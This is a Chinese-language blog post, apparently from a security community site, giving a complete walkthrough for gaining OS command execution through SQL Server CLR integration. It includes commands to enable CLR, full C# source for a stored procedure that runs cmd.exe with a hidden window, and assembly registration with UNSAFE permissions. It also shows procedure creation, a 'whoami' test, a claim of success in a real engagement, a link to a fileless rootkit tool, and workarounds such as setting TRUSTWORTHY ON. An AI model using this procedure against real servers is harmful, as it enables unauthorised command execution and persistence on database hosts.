(一)CLR介绍
Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成
CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等
大概意思就是,利用CRL组件我们可以在SQ Server数据库上执行任意C#代码
(二)利用前提
- SQL Server上能启用CLR组件并可以创建自定义存储过程
- SQL Server当前账号具有执行命令和代码所需要的权限
(三)利用过程
当前环境:SQL Server2008、.NET Framework3.5、Visual Studio
(1)配置SQL Server CLR
开启:
--开启所有服务器配置
sp_configure 'show advanced options', 1;
RECONFIGURE WITH override
GO
--开启 CLR
sp_configure 'clr enabled', 1;
RECONFIGURE WITH override
GO
关闭:
--关闭所有服务器配置
sp_configure 'show advanced options', 0;
RECONFIGURE WITH override
GO
--关闭 CLR
sp_configure 'clr enabled', 0;
RECONFIGURE WITH override
GO
(2)CLR Function
打开Visual Studio新建SQL server项目
添加SQL CLR C# 存储过程
写入代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void ExecCommand (string cmd)
{
// 在此处放置代码
SqlContext.Pipe.Send("Command is running, please wait.");
SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
}
public static string RunCommand(string filename,string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine("Std output:");
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
运行后
(3)注册CLR程序集
注册程序集的方式有以下两种:
- 通过指定程序集DLL路径
CREATE ASSEMBLY UserDefinedClrAssembly
--AUTHORIZATION sa --指定数据库所有者,默认为当前用户
FROM 'C:\Users\Administrator\Desktop\CLR Assembly\UserDefinedSqlClr.dll' --指定文件路径
WITH PERMISSION_SET = UNSAFE; --指定程序集的权限
- 通过文件十六进制流
CREATE ASSEMBLY UserDefinedClrAssembly
--AUTHORIZATION sa --指定数据库所有者,默认为当前用户
FROM 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000 --指定DLL的16进制文件流(当然没这么少,我删掉了)
WITH PERMISSION_SET = UNSAFE; --指定程序集的权限
此处使用第二种方式,利用文件十六进制写入数据库运行
(4)创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
(5)执行命令
exec dbo.ExecCommand "whoami";
实战也成功了!
(四)进阶用法
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
(五)踩坑总结
- SQLserver版本对应的.NET Framework框架版本,本地测试使用的SQL Server2008数据库 对应的.NET Framework框架必须是3.0、3.5,否则生成的16进制程序集放入SQL语句中报错
- 程序集权限不足或提示使用sp_add_trusted_assembly 信任程序集
执行: ALTER DATABASE databasename SET TRUSTWORTHY ON
- 数据库所有者 SID 不同
执行:Sp_changedbowner ‘sa’,true
发表评论
您还未登录,请先登录。
登录